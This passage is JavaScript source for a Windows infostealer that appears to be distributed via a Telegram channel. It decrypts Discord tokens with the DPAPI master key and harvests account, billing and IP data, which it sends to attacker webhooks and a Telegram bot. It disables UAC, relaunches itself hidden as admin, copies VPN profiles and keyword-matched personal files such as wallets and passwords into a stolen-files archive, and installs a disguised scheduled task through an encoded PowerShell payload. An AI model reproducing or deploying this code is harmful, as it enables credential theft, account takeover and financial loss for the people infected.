        Early_Supporter: { Value: 512, Emoji: "<:early_supporter:874750808414113823>", Rare: true },
        Bug_Hunter_Level_2: { Value: 16384, Emoji: "<:bughunter_2:874750808430874664>", Rare: true },
        Early_Verified_Bot_Developer: { Value: 131072, Emoji: "<:developer:874750808472825986>", Rare: true },
        House_Bravery: { Value: 64, Emoji: "<:bravery:874750808388952075>", Rare: false },
        House_Brilliance: { Value: 128, Emoji: "<:brilliance:874750808338608199>", Rare: false },
        House_Balance: { Value: 256, Emoji: "<:balance:874750808267292683>", Rare: false },
        Discord_Official_Moderator: { Value: 262144, Emoji: "<:moderator:976739399998001152>", Rare: true }
    };

    function getBadges(flags) {
        let b = '';
        for (const prop in badgesDict) {
            let o = badgesDict[prop];
            if ((flags & o.Value) == o.Value) b += o.Emoji;
        };
        if (b == '') return "```No Badges```";
        return `${b}`;
    }

    async function getNitro(flags, id, token) {
        switch (flags) {
            case 1:
                return "<:946246402105819216:962747802797113365>";
            case 2:
                let info;
                try {
                    await sleep(1000);
                    const res = await axios.get(`https://discord.com/api/v9/users/${id}/profile`, {
                        headers: discordHeaders(token),
                        timeout: 5000
                    });
                    info = res.data;
                } catch (e) { return "<:946246402105819216:962747802797113365>"; }

                if (!info || !info.premium_guild_since) return "<:946246402105819216:962747802797113365>";

                let boost = ["<:boost1month:1161356435360325673>", "<:boost2month:1161356669004030033>", "<:boost3month:1161356821806710844>", "<:boost6month:1161357418480029776>", "<:boost9month:1161357513820741852>", "<:boost12month:1161357639737946206>", "<:boost15month:967518897987256400>", "<:boost18month:967519190133145611>", "<:boost24month:969686081958207508>"];
                var i = 0;

                try {
                    let d = new Date(info.premium_guild_since);
                    let now = new Date();
                    let monthsDiff = (now.getFullYear() - d.getFullYear()) * 12 + (now.getMonth() - d.getMonth());

                    if (monthsDiff >= 24) i = 8;
                    else if (monthsDiff >= 18) i = 7;
                    else if (monthsDiff >= 15) i = 6;
                    else if (monthsDiff >= 12) i = 5;
                    else if (monthsDiff >= 9) i = 4;
                    else if (monthsDiff >= 6) i = 3;
                    else if (monthsDiff >= 3) i = 2;
                    else if (monthsDiff >= 2) i = 1;
                    else i = 0;

                } catch (e) { i = 0; }
                return `<:946246402105819216:962747802797113365> ${boost[i]}`;
            default:
                return "```No Nitro```";
        };
    }

    const tokens = [];
    let tokensCount = 0;

    try {
        const discordAppRegex = /dQw4w9WgXcQ:[^"]*/g;
        const browserTokenRegex = /[\w-]{24,26}\.[\w-]{6}\.[\w-]{25,110}|mfa\.[\w-]{80,95}/g;

        const pathsToScan = PATHS.discord;

        const discordKeyCache = {};

        for (const scanPath of pathsToScan) {
            if (!fs.existsSync(scanPath)) {
                continue;
            }

            const pathName = path.basename(scanPath);
            let masterKey = null;

            try {
                let localStatePath = path.join(scanPath, 'Local State');
                if (!fs.existsSync(localStatePath)) {
                    localStatePath = path.join(scanPath, '..', 'Local State');
                }

                const cacheKey = path.resolve(localStatePath);

                if (discordKeyCache[cacheKey]) {
                    masterKey = discordKeyCache[cacheKey];

                } else if (fs.existsSync(localStatePath)) {
                    const content = fs.readFileSync(localStatePath, 'utf8');
                    const json = JSON.parse(content);
                    if (json.os_crypt && json.os_crypt.encrypted_key) {

                        const encryptedKey = Buffer.from(json.os_crypt.encrypted_key, 'base64').slice(5);
                        const keyArray = Array.from(encryptedKey);

                        const startDecryption = Date.now();
                        const decryptedKeyLines = await new Promise((resolve, reject) => {
                            exec(
                                'powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(' +
                                keyArray +
                                "), $null, 'CurrentUser')",
                                { timeout: 5000, windowsHide: true },
                                (error, stdout, stderr) => {
                                    if (error) {
                                        reject(error);
                                    } else {
                                        resolve(stdout);
                                    }
                                }
                            );
                        }).then(stdout => stdout.split('\r\n')).catch(err => { throw err; });

                        const filteredKey = decryptedKeyLines.filter((line) => line !== '');
                        masterKey = Buffer.from(filteredKey);
                        discordKeyCache[cacheKey] = masterKey;
                    }
                }
            } catch (keyError) {
            }

            let leveldbPath = path.join(scanPath, 'Local Storage', 'leveldb');
            if (!fs.existsSync(leveldbPath)) {
                leveldbPath = scanPath;
            }

            if (!fs.existsSync(leveldbPath)) {
                continue;
            }

            try {
                const files = fs.readdirSync(leveldbPath);
                const targetFiles = files.filter(f => f.endsWith('.ldb') || f.endsWith('.log'));


                for (const file of targetFiles) {
                    try {
                        const filePath = path.join(leveldbPath, file);
                        const content = fs.readFileSync(filePath, 'utf8');
                        const lines = content.split('\n');

                        for (const line of lines) {
                            if (masterKey) {
                                const matches = line.match(discordAppRegex);
                                if (matches) {
                                    for (const match of matches) {
                                        try {
                                            const encodedPass = match.split('dQw4w9WgXcQ:')[1];
                                            if (!encodedPass) continue;

                                            const decodedPass = Buffer.from(encodedPass, 'base64');
                                            const iv = decodedPass.slice(3, 15);
                                            const encrypted = decodedPass.slice(15, decodedPass.length - 16);
                                            const authTag = decodedPass.slice(decodedPass.length - 16, decodedPass.length);

                                            const decipher = crypto.createDecipheriv('aes-256-gcm', masterKey, iv);
                                            decipher.setAuthTag(authTag);
                                            const token = decipher.update(encrypted, 'base64', 'utf-8') + decipher.final('utf-8');

                                            if (token && !tokens.some(t => t.token === token)) {
                                                tokens.push({
                                                    browser: `Discord Encrypted(${pathName})`,
                                                    token: token
                                                });
                                                tokensCount++;
                                            }
                                        } catch (decryptErr) { }
                                    }
                                }
                            }

                            const browserMatches = line.match(browserTokenRegex);
                            if (browserMatches) {
                                for (const token of browserMatches) {
                                    if (token && !tokens.some(t => t.token === token)) {
                                        tokens.push({
                                            browser: `Browser / Generic(${pathName})`,
                                            token: token
                                        });
                                        tokensCount++;
                                    }
                                }
                            }
                        }
                    } catch (fileErr) { }
                }
            } catch (scanError) {
                logError(scanError, `fetchDiscordTokens - scan - ${pathName} `);
            }
        }

        if (tokens.length > 0) {
            const tokensDir = path.join(mainFolderPath, 'Discord');
            if (!fs.existsSync(tokensDir)) {
                fs.mkdirSync(tokensDir, { recursive: true });
            }

            const tokensFilePath = path.join(tokensDir, 'Discord_Tokens.txt');
            let tokensContent = user.copyright;

            let ip = "Unknown";
            try {
                const ipRes = await axios.get("http://ip-api.com/json/", { timeout: 5000 });
                ip = ipRes.data.query;
            } catch (err) { }

            for (const tokenData of tokens) {
                const token = tokenData.token;
                let text = `================\nBrowser: ${tokenData.browser} \nToken: ${token} \n`;
                const userData = await getUserData(token);

                if (userData) {
                    text += `ID: ${userData.id}\nUsername: ${userData.username}#${userData.discriminator}\nEmail: ${userData.email}\nPhone: ${userData.phone}\nMFA: ${userData.mfa_enabled}\nNitro: ${userData.premium_type}\nFlags: ${userData.flags}\nBio: ${userData.bio}\n`;

                    try {
                        const billing = await getBilling(token);
                        const hqGuilds = await getHQGuilds(token);
                        const badges = getBadges(userData.flags);
                        const nitro = await getNitro(userData.premium_type, userData.id, token);

                        const userInformationEmbed = {
                            title: `${userData.username}#${userData.discriminator} (${userData.id})`,
                            color: 0x303037,
                            author: {
                                name: "Discord Session Detected",
                                icon_url: "https://i.ibb.co/84zCWC73/icon.png"
                            },
                            thumbnail: {
                                url: `https://cdn.discordapp.com/avatars/${userData.id}/${userData.avatar}?size=512`
                            },
                            fields: [
                                {
                                    name: ":key: Token:",
                                    value: "```" + token + "```",
                                },
                                {
                                    name: ":envelope: Email:",
                                    value: "``" + `\`${userData.email}\`` + "``",
                                    inline: true
                                },
                                {
                                    name: ":globe_with_meridians: IP:",
                                    value: "``" + `\`${ip}\`` + "``",
                                    inline: true
                                },
                                {
                                    name: "<:mobile88:1210411486120517663> Phone:",
                                    value: "``" + `\`${userData.phone || "None"}\`` + "``",
                                    inline: true
                                },
                                {
                                    name: "",
                                    value: "‎ ",
                                    inline: false
                                },
                                {
                                    name: "",
                                    value: `<a:all_discord_badges_gif:1157698511320653924> **Badges:** ${badges}`,
                                    inline: true
                                },
                                {
                                    name: "",
                                    value: `<a:nitro_boost:877173596793995284> **Nitro Type:** ${nitro}`,
                                    inline: true
                                },
                                {
                                    name: "",
                                    value: `<a:Card_Black:1157319579287179294> **Billing:** ${billing}`,
                                    inline: true
                                },
                                {
                                    name: "",
                                    value: "‎ ",
                                    inline: false
                                },
                                {
                                    name: ":shield: HQ Guilds:",
                                    value: hqGuilds,
                                    inline: false
                                },
                            ],
                            footer: {
                                text: `${os.hostname()} | @WallGod69 | t.me/avmtools`,
                                icon_url: 'https://i.ibb.co/84zCWC73/icon.png'
                            }
                        };

                        active_nodes.length = 0;
                        if (discordWebhookUrl && discordWebhookUrl !== 'REMPLACE_ME') active_nodes.push(discordWebhookUrl);
                        if (fallback_conf && Array.isArray(fallback_conf) && fallback_conf.length > 0) {
                            fallback_conf.forEach(conf => {
                                try {
                                    if (conf.includes('http')) active_nodes.push(conf);
                                } catch (e) { }
                            });
                        }

                        let sid = 1;
                        for (const url of active_nodes) {
                            await sleep(2500);
                            try {
                                await axios.post(url, {
                                    embeds: [userInformationEmbed]
                                }, { timeout: 10000 });
                                logSuccess(`0x${sid}T1`);
                            } catch (err) {
                                logError(`0x${sid}T2`, 'DX_03');
                            }
                            sid++;
                        }
                    } catch (err) {
                    }
                }
                tokensContent += text + '\n';
            }

            fs.writeFileSync(tokensFilePath, tokensContent, 'utf8');

        }

    } catch (error) {
        logError(error, 'fetchDiscordTokens');
    }

    return tokensCount;
}

async function sendDiscordEmbed(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount) {
    try {
        let ipInfo = 'Not available';
        try {
            const ipResponse = await axios.get('http://ip-api.com/json/', { timeout: 10000 });
            ipInfo = `${ipResponse.data.query} - ${ipResponse.data.country}, ${ipResponse.data.city} `;
        } catch (e) {
            logError(e, 'sendDiscordEmbed-ipLookup');
            ipInfo = 'IP retrieval error';
        }

        const systemInfo = `User: ${user.username}
PC: ${user.hostname}
OS: ${user.type} ${user.release}
Arch: ${user.arch}
RAM: ${(user.ram / 1024 / 1024 / 1024).toFixed(2)} GB
Cores: ${user.countCore}
UUID: ${user.randomUUID}
Started: ${new Date(user.start).toLocaleString()}
Uptime: ${Math.floor(user.uptime / 3600)}h ${Math.floor((user.uptime % 3600) / 60)} m
IP: ${ipInfo}
Directory: ${user.fileLoc} `;

        const totalSocialsCount = (socialsCount || 0) + (tokensCount || 0);

        const payload = {
            embeds: [{
                title: '',
                description: '‎',
                color: 0x303037,
                author: {
                    name: `${user.hostname} | System Information | @WallGod69`,
                    icon_url: 'https://i.ibb.co/84zCWC73/icon.png',
                },
                fields: [
                    {
                        name: '<a:ezgif6fb4a91bfdb1d6e8:1466846913352564736> Passwords',
                        value: '```' + passwordsCount.toString() + '```',
                        inline: true,
                    },
                    {
                        name: '<a:ezgif47677b19991af31d:1466838443496575172> Cookies',
                        value: '```' + cookiesCount.toString() + '```',
                        inline: true,
                    },
                    {
                        name: '📋 Autofills',
                        value: '```' + autofillCount.toString() + '```',
                        inline: true,
                    },
                    {
                        name: '<a:ezgif76c1f0814cb13e11:1466857030118801532> Socials',
                        value: '```' + totalSocialsCount.toString() + '```',
                        inline: true,
                    },
                    {
                        name: '<a:ezgif32bff8f86ee21b42:1466865550347993289> Games',
                        value: '```' + gamesCount.toString() + '```',
                        inline: true,
                    },
                    {
                        name: '<a:ezgif69c15e2348c7f50f:1466845005237719071> Wallets',
                        value: '```' + (walletsCount || 0).toString() + '```',
                        inline: true,
                    },
                    {
                        name: "<a:system:1205123587632275517> Information", value: `\`\`\`\n${systemInfo}\n\`\`\``, inline: false
                    },
                    {
                        name: '‎ ',
                        value: downloadLink ? `<a:ezgif60edbd9e19348b91:1466848649651683430> [\`${locale}-${computerName}.zip\`](${downloadLink})\n` : "❌ **Upload failed (Look in log.txt)**",
                        inline: false,
                    }
                ],
                image: { url: 'attachment://screenshot.png' },
                footer: {
                    text: computerName + " | @Wallgod69 | t.me/avmtools",
                    icon_url: "https://i.ibb.co/84zCWC73/icon.png"
                }
            }]
        };
        active_nodes.length = 0;
        if (discordWebhookUrl && discordWebhookUrl !== 'REMPLACE_ME') active_nodes.push(discordWebhookUrl);
        if (fallback_conf && Array.isArray(fallback_conf) && fallback_conf.length > 0) {
            fallback_conf.forEach(conf => {
                try {
                    if (conf.includes('http')) active_nodes.push(conf);
                } catch (e) { }
            });
        }

        let sid = 1;
        for (const url of active_nodes) {
            await new Promise(resolve => setTimeout(resolve, 3000));

            try {
                const formData = new FormData();
                formData.append('payload_json', JSON.stringify(payload));
                formData.append('file', screenshotBuffer, { filename: 'screenshot.png', contentType: 'image/png' });
                await axios.post(url, formData, {
                    headers: formData.getHeaders(),
                    maxContentLength: Infinity,
                    maxBodyLength: Infinity,
                    timeout: 45000
                });
                logSuccess(`0x${sid}A7`);
            } catch (err) {
                const errInfo = err.response ? (JSON.stringify(err.response.data) || err.message) : err.message;
                logError(`0x${sid}E1: ${errInfo}`, 'DX_01');

                await new Promise(resolve => setTimeout(resolve, 2000));

                try {
                    const fallbackPayload = JSON.parse(JSON.stringify(payload));
                    if (fallbackPayload.embeds && fallbackPayload.embeds[0]) {
                        delete fallbackPayload.embeds[0].image;
                        fallbackPayload.embeds[0].footer.text += " | ❌ Image Failed";
                    }
                    await axios.post(url, fallbackPayload, {
                        headers: { 'Content-Type': 'application/json' },
                        timeout: 20000
                    });
                    logSuccess(`0x${sid}B2`);
                } catch (err2) {
                    logError(`0x${sid}E2`, 'DX_02');
                }
            }
            sid++;
        }

        if (!downloadLink) {
            try {
                const logFilePath = path.join(mainFolderPath, 'log.txt');
                let logContent = 'No log file found.';
                if (fs.existsSync(logFilePath)) {
                    logContent = fs.readFileSync(logFilePath, 'utf8');
                }

                const logChunks = [];
                const chunkSize = 3500;
                for (let i = 0; i < logContent.length; i += chunkSize) {
                    logChunks.push(logContent.substring(i, i + chunkSize));
                }

                let lid = 1;
                for (const url of active_nodes) {
                    await new Promise(resolve => setTimeout(resolve, 3000));

                    for (let i = 0; i < logChunks.length; i++) {
                        await new Promise(resolve => setTimeout(resolve, 2500));

                        const logEmbed = {
                            title: `📂 Debug Log - Part ${i + 1}/${logChunks.length}`,
                            description: `\`\`\`text\n${logChunks[i]}\n\`\`\``,
                            color: 0x303037,
                            author: {
                                name: `${user.hostname} | Error Log | @WallGod69`,
                                icon_url: 'https://i.ibb.co/84zCWC73/icon.png',
                            },
                            footer: {
                                text: `${computerName} | @Wallgod69 | t.me/avmtools`,
                                icon_url: "https://i.ibb.co/84zCWC73/icon.png"
                            }
                        };

                        try {
                            await axios.post(url, {
                                embeds: [logEmbed],
                                username: "System Service",
                                avatar_url: "https://i.ibb.co/84zCWC73/icon.png"
                            }, {
                                headers: { 'Content-Type': 'application/json' },
                                timeout: 30000
                            });
                        } catch (logSendErr) {
                            console.error(`0x${lid}L9:`, logSendErr.message);
                        }
                    }
                    lid++;
                }
            } catch (logEmbedError) {
                logError(logEmbedError, 'SR_05');
            }
        }
    } catch (error) {
        logError(error, 'sendDiscordEmbed');
    }
}

async function sendTelegramMessage(screenshotBuffer, downloadLink, passwordsCount, cookiesCount, autofillCount, tokensCount, socialsCount, gamesCount, walletsCount) {
    try {
        if (!telegramBotToken || telegramBotToken === 'REMPLACE_ME' || !telegramChatId || telegramChatId === 'REMPLACE_ME') {
            return;
        }

        let ipInfo = 'Not available';
        try {
            const ipResponse = await axios.get('http://ip-api.com/json/', { timeout: 10000 });
            ipInfo = `${ipResponse.data.query} - ${ipResponse.data.country}, ${ipResponse.data.city}`;
        } catch (e) {
            logError(e, 'sendTelegramMessage-ipLookup');
            ipInfo = 'IP retrieval error';
        }

        const totalSocialsCount = (socialsCount || 0) + (tokensCount || 0);

        const message = `
<b>${user.hostname} | System Information</b>

<b>Collected Data:</b>
━━━━━━━━━━━━━━━━━━━━
🔐 <b>Passwords:</b> <code>${passwordsCount}</code>
🍪 <b>Cookies:</b> <code>${cookiesCount}</code>
📋 <b>Autofills:</b> <code>${autofillCount}</code>
📱 <b>Socials:</b> <code>${totalSocialsCount}</code>
🎮 <b>Games:</b> <code>${gamesCount}</code>
💰 <b>Wallets:</b> <code>${walletsCount || 0}</code>

⚙ <b>System Information:</b>
━━━━━━━━━━━━━━━━━━━━
<b>User:</b> <code>${user.username}</code>
<b>PC:</b> <code>${user.hostname}</code>
<b>OS:</b> <code>${user.type} ${user.release}</code>
<b>Arch:</b> <code>${user.arch}</code>
<b>RAM:</b> <code>${(user.ram / 1024 / 1024 / 1024).toFixed(2)} GB</code>
<b>Cores:</b> <code>${user.countCore}</code>
<b>UUID:</b> <code>${user.randomUUID}</code>
<b>Started:</b> <code>${new Date(user.start).toLocaleString()}</code>
<b>Uptime:</b> <code>${Math.floor(user.uptime / 3600)}h ${Math.floor((user.uptime % 3600) / 60)}m</code>
<b>IP:</b> <code>${ipInfo}</code>
<b>Directory:</b> <code>${user.fileLoc}</code>

${downloadLink ? `<b>Download:</b> <a href="${downloadLink}">${locale}-${computerName}.zip</a>` : '❌ <b>Upload failed</b> (Look in log.txt)'}

━━━━━━━━━━━━━━━━━━━━
🔹 ${computerName} | @Wallgod69 | t.me/avmtools
`.trim();

        const formData = new FormData();
        formData.append('chat_id', telegramChatId);
        formData.append('photo', screenshotBuffer, {
            filename: 'screenshot.png',
            contentType: 'image/png'
        });
        formData.append('caption', message);
        formData.append('parse_mode', 'HTML');

        const telegramUrl = `https://api.telegram.org/bot${telegramBotToken}/sendPhoto`;

        const resp = await axios.post(telegramUrl, formData, {
            headers: formData.getHeaders(),
            maxContentLength: Infinity,
            maxBodyLength: Infinity,
            timeout: 30000
        });

        if (resp.status >= 200 && resp.status < 300) {
        }
    } catch (error) {
        logError(error, 'sendTelegramMessage');
    }
}

function hasAdminPrivileges() {
    try {
        execSync('net session', { stdio: 'ignore', timeout: 5000, windowsHide: true });
        return true;
    } catch (e) {
        return false;
    }
}

function relaunchAsAdmin() {
    const scriptPath = process.execPath;
    const scriptDir = path.dirname(scriptPath);
    const currentArgs = process.argv.slice(1);
    if (!currentArgs.includes('--hidden')) currentArgs.push('--hidden');

    if (!currentArgs.includes('--folder')) {
        currentArgs.push('--folder', mainFolderName);
    }

    const scriptArgs = currentArgs.map(arg => `"${arg}"`).join(',');

    const psCommand = `Start-Process -FilePath "${scriptPath}" -ArgumentList ${scriptArgs} -WorkingDirectory "${scriptDir}" -Verb RunAs -WindowStyle Hidden`;

    try {
        const base64Command = Buffer.from(psCommand, 'utf16le').toString('base64');
        execSync(`powershell -NoProfile -ExecutionPolicy Bypass -EncodedCommand ${base64Command}`, {
            windowsHide: true,
            stdio: 'ignore',
            timeout: 10000
        });
    } catch (e) {
        logError(e, 'relaunchAsAdmin');
    }
    process.exit(0);
}


async function mainAdminCheck() {

    if (!hasAdminPrivileges()) {

        relaunchAsAdmin();
    } else {

    }
}

function disableuac() {
    if (process.platform !== 'win32') return;
    const cmd = 'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v EnableLUA /t REG_DWORD /d 0 /f; ' +
        'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f; ' +
        'reg add "HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f';
    try {
        execSync(`powershell -NoProfile -ExecutionPolicy Bypass -Command "${cmd}"`, { stdio: 'ignore', windowsHide: true });
    } catch (e) {
        logError(e, 'disableuac');
    }
}

async function fetchFileVPN() {
    try {
        const vpnDir = path.join(mainFolderPath, 'VPN');
        const vpnPaths = [
            path.join(process.env.APPDATA, 'OpenVPN Connect\\profiles'),
            path.join(process.env.LOCALAPPDATA, 'NordVPN'),
            path.join(process.env.APPDATA, 'ProtonVPN')
        ];
        let vpnCount = 0;
        vpnPaths.forEach(p => {
            if (fs.existsSync(p)) {
                if (!fs.existsSync(vpnDir)) fs.mkdirSync(vpnDir, { recursive: true });
                copyFolderRecursiveSync(p, path.join(vpnDir, path.basename(p)));
                vpnCount++;
            }
        });

        const scavengerTempDir = path.join(os.tmpdir(), generateRandomString(10));
        if (!fs.existsSync(scavengerTempDir)) fs.mkdirSync(scavengerTempDir, { recursive: true });

        const userHome = os.homedir();
        const foldersToSearch = [
            'Videos', 'Desktop', 'Documents', 'Downloads', 'Pictures',
            path.join('AppData', 'Roaming', 'Microsoft', 'Windows', 'Recent')
        ];
        const allowedExtensions = [".rdp", ".txt", ".doc", ".docx", ".pdf", ".csv", ".xls", ".xlsx", ".keys", ".ldb", ".log"];
        const keywords = ["secret", "password", "account", "tax", "key", "wallet", "gang", "default", "backup", "passw", "mdp", "motdepasse", "acc", "mot_de_passe", "login", "bot", "atomic", "acount", "paypal", "banque", "metamask", "crypto", "exodus", "discord", "2fa", "code", "memo", "compte", "token", "seed", "mnemonic", "memoric", "private", "passphrase", "pass", "phrase", "steal", "bank", "info", "casino", "prv", "privé", "prive", "telegram", "identifiant", "identifiants", "personnel", "trading", "bitcoin", "sauvegarde", "funds", "recup", "note", "phantom", "trust", "ledger", "trezor", "binance", "coinbase", "solana", "ethereum", "invoice", "facture", "passport", "passeport", "identity", "identite", "id_card", "permis", "confidential", "stripe", "visa", "mastercard", "card", "amex", "wire", "transfer", "iban", "credentials", "creds", "database", "sql", "dump", "config", "env", "ssh", "putty", "vnc", "anydesk", "teamviewer", "authy", "kraken", "kucoin", "gateio", "okx", "bybit", "bitget", "mexc", "mnemonique", "recovery", "identifiants_connexion", "authenticator"];

        let scavengedCount = 0;
        for (const folder of foldersToSearch) {
            const directory = path.join(userHome, folder);
            if (fs.existsSync(directory)) {
                try {
                    const filesInFolder = fs.readdirSync(directory);
                    for (const file of filesInFolder) {
                        try {
                            const filePath = path.join(directory, file);
                            const stat = fs.statSync(filePath);
                            if (stat.isFile() && stat.size < 3 * 1024 * 1024) {
                                const ext = path.extname(file).toLowerCase();
                                const name = path.basename(file).toLowerCase();
                                if (allowedExtensions.includes(ext) && keywords.some(k => name.includes(k))) {
                                    fs.copyFileSync(filePath, path.join(scavengerTempDir, file));
                                    scavengedCount++;
                                }
                            }
                        } catch (e) { }
                    }
                } catch (e) { }
            }
        }

        if (scavengedCount > 0) {
            try {
                const zipPath = path.join(mainFolderPath, 'stolen_files.zip');
                const output = fs.createWriteStream(zipPath);
                const archive = archiver('zip', { zlib: { level: 9 }, comment: "t.me/avmtools" });
                archive.pipe(output);
                archive.directory(scavengerTempDir, false);
                await archive.finalize();
            } catch (e) { logError(e, 'fetchFileVPN-zip'); }
        }

        try { fs.rmSync(scavengerTempDir, { recursive: true, force: true }); } catch (e) { }

        return vpnCount + scavengedCount;
    } catch (e) {
        logError(e, 'fetchFileVPN');
        return 0;
    }
}

function finalizeLog() {
    try {
        const endMessage = `\nScript finished at: ${new Date().toISOString()}\n`;
        const logFilePath = path.join(mainFolderPath, 'log.txt');
        fs.appendFileSync(logFilePath, endMessage, 'utf8');
    } catch (error) {
    }
}

function decodeBase64(str) {
    const alphabet = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567';
    let bits = 0, value = 0, index = 0;
    const out = new Uint8Array((str.length * 5) / 8);
    for (let i = 0; i < str.length; i++) {
        value = (value << 5) | alphabet.indexOf(str[i].toUpperCase());
        bits += 5;
        if (bits >= 8) {
            out[index++] = (value >>> (bits - 8)) & 0xff;
            bits -= 8;
        }
    }
    return Buffer.from(out.slice(0, index));
}

async function initializeService() {

    if (os.platform() !== 'win32') {
        return;
    }

    const serviceId = generateRandomString(8);
    const fileName = 'sys_core_' + serviceId + '.ps1';

    try {
        const taskCleanCmd = 'powershell -NoProfile -ExecutionPolicy Bypass -Command "Get-ScheduledTask | Where-Object {$_.TaskName -like \'NVIDIA_SelfUpdate_*\'} | ForEach-Object { Unregister-ScheduledTask -TaskName $_.TaskName -Confirm:$false -ErrorAction SilentlyContinue }"';
        execSync(taskCleanCmd, { stdio: 'ignore', windowsHide: true, timeout: 5000 });
    } catch (taskErr) {
        try {
            execSync('schtasks /delete /tn NVIDIA_SelfUpdate_* /f', { stdio: 'ignore', windowsHide: true });
        } catch (e) { }
    }

    const powershellScript64 = 'ER2GC43LJZQW2ZJAHUQCOTSWJFCESQK7KNSWYZSVOBSGC5DFL55SOIBLEAUEOZLUFVJGC3TEN5WSALKNNFXGS3LVNUQDCMBQGAYDAMBQEAWU2YLYNFWXK3JAHE4TSOJZHE4TSKJAFMQCO7JHBISHGY3SNFYHIUDBORUCAPJAERGXSSLOOZXWGYLUNFXW4LSNPFBW63LNMFXGILSQMF2GQCREOZRHGUDBORUCAPJAERZWG4TJOB2FAYLUNAQC24TFOBWGCY3FEATVYLTQOMYSIJZMEATS45TCOMTQUCRDEBBXEZLBORSSA2DJMRSGK3RAKZBFGIDXOJQXA4DFOIQHI3ZAMF3G62LEEBRW63TTN5WGKIDGNRQXG2AKORZHSID3BIQCAIBAER3GE42DN5XHIZLOOQQD2IBCINZGKYLUMVHWE2TFMN2CQYBCK5JWG4TJOB2C4U3IMVWGYYBCFEXFE5LOEBQCE4DPO5SXE43IMVWGYLTFPBSSALKFPBSWG5LUNFXW4UDPNRUWG6JAIJ4XAYLTOMQC2V3JNZSG652TOR4WYZJAJBUWIZDFNYQC2TTPKBZG6ZTJNRSSALKGNFWGKIDAEJQCEJDTMNZGS4DUKBQXI2DAEJQCEYBCFQQDALBAIZQWY43FEIFCAIBAEBNVG6LTORSW2LSJJ4XEM2LMMVOTUOSXOJUXIZKBNRWFIZLYOQUCI5TCONIGC5DIFQQCI5TCONBW63TUMVXHIKIKEAQCAIDJMYQCQVDFON2C2UDBORUCAJDWMJZVAYLUNAUSA6ZAMF2HI4TJMIQCW2BAEISHMYTTKBQXI2BCEB6QU7IKMNQXIY3IEB5X2CQKORZHSID3BIQCAIBAI5SXILKTMNUGKZDVNRSWIVDBONVSA7BAK5UGK4TFFVHWE2TFMN2CA6ZAERPS4VDBONVU4YLNMUQC23DJNNSSAISOKZEUISKBL5JWK3DGKVYGIYLUMVPSUIRAPUQHYICGN5ZEKYLDNAWU6YTKMVRXIID3BIQCAIBAEAQCAICVNZZGKZ3JON2GK4RNKNRWQZLEOVWGKZCUMFZWWIBNKRQXG22OMFWWKIBEL4XFIYLTNNHGC3LFEAWUG33OMZUXE3J2ERTGC3DTMUQC2RLSOJXXEQLDORUW63RAKNUWYZLOORWHSQ3PNZ2GS3TVMUFCAIBAEB6QU7IKMNQXIY3IEB5QUIBAEAQHGY3IORQXG23TEAXXC5LFOJ4SAL3GN4QEYSKTKQQHYICTMVWGKY3UFVJXI4TJNZTSAISOKZEUISKBL5JWK3DGKVYGIYLUMVPSEID4EBDG64SFMFRWQLKPMJVGKY3UEB5QUIBAEAQCAIBAEBUWMIBIERPSALLNMF2GG2BAEJHFMSKEJFAV6U3FNRTFK4DEMF2GKX33LNPH2XJLPURCSID3BIQCAIBAEAQCAIBAEAQCA43DNB2GC43LOMQC6ZDFNRSXIZJAF52G4IBENVQXIY3IMVZVWMC5EAXWMIBSHYSG45LMNQFCAIBAEAQCAIBAPUFCAIBAEB6QU7IKBJ2HE6JAPMFCAIBAEASGCY3UNFXW4IB5EBHGK5ZNKNRWQZLEOVWGKZCUMFZWWQLDORUW63RAFVCXQZLDOV2GKIBHO5ZWG4TJOB2C4ZLYMUTSALKBOJTXK3LFNZ2CAITAEISHMYTTKBQXI2DAEIRAUIBAEAQCI5DSNFTWOZLSEA6SATTFO4WVGY3IMVSHK3DFMRKGC43LKRZGSZ3HMVZCALKBORGG6Z2PNYFCAIBAEASHA4TJNZRWS4DBNQQD2ICOMV3S2U3DNBSWI5LMMVSFIYLTNNIHE2LOMNUXAYLMEAWVK43FOJEWIIBEMVXHMOSVKNCVETSBJVCSALKMN5TW63SUPFYGKICJNZ2GK4TBMN2GS5TFEAWVE5LOJRSXMZLMEBGGS3LJORSWICRAEAQCAJDTMV2HI2LOM5ZSAPJAJZSXOLKTMNUGKZDVNRSWIVDBONVVGZLUORUW4Z3TKNSXIIBNJV2WY5DJOBWGKSLOON2GC3TDMVZSASLHNZXXEZKOMV3SALKENFZWC3DMN53VG5DBOJ2ESZSPNZBGC5DUMVZGSZLTEASGMYLMONSSALKTORXXASLGI5XWS3THJ5XEEYLUORSXE2LFOMQCIZTBNRZWKIBNIFWGY33XJBQXEZCUMVZG22LOMF2GKIBEORZHKZJAFVJXIYLSORLWQZLOIF3GC2LMMFRGYZJAER2HE5LFEAWVE5LOJ5XGY6KJMZHGK5DXN5ZGWQLWMFUWYYLCNRSSAJDGMFWHGZJAFVAWY3DPO5JXIYLSORHW4RDFNVQW4ZBAER2HE5LFEAWUQ2LEMRSW4IBEMZQWY43FEAWUK6DFMN2XI2LPNZKGS3LFJRUW22LUEAUE4ZLXFVKGS3LFKNYGC3RAFVJWKY3PNZSHGIBQFEQC2UDSNFXXE2LUPEQDOCRAEAQCACRAEAQCAUTFM5UXG5DFOIWVGY3IMVSHK3DFMRKGC43LEAWVIYLTNNHGC3LFEASHIYLTNNHGC3LFEAWUCY3UNFXW4IBEMFRXI2LPNYQC2VDSNFTWOZLSEASHI4TJM5TWK4RAFVIHE2LOMNUXAYLMEASHA4TJNZRWS4DBNQQC2U3FOR2GS3THOMQCI43FOR2GS3THOMQC2RTPOJRWKID4EBHXK5BNJZ2WY3AKPUFGGYLUMNUCA6YKEAQCAIDUOJ4SA6YKEAQCAIBAEAQCAJDYNVWEG33OORSW45BAHUQEAIQKHQ7XQ3LMEB3GK4TTNFXW4PJCGEXDAIRAMVXGG33ENFXGOPJCKVKEMLJRGYRD6PQKHRKGC43LEB3GK4TTNFXW4PJCGEXDEIRAPBWWY3TTHURGQ5DUOA5C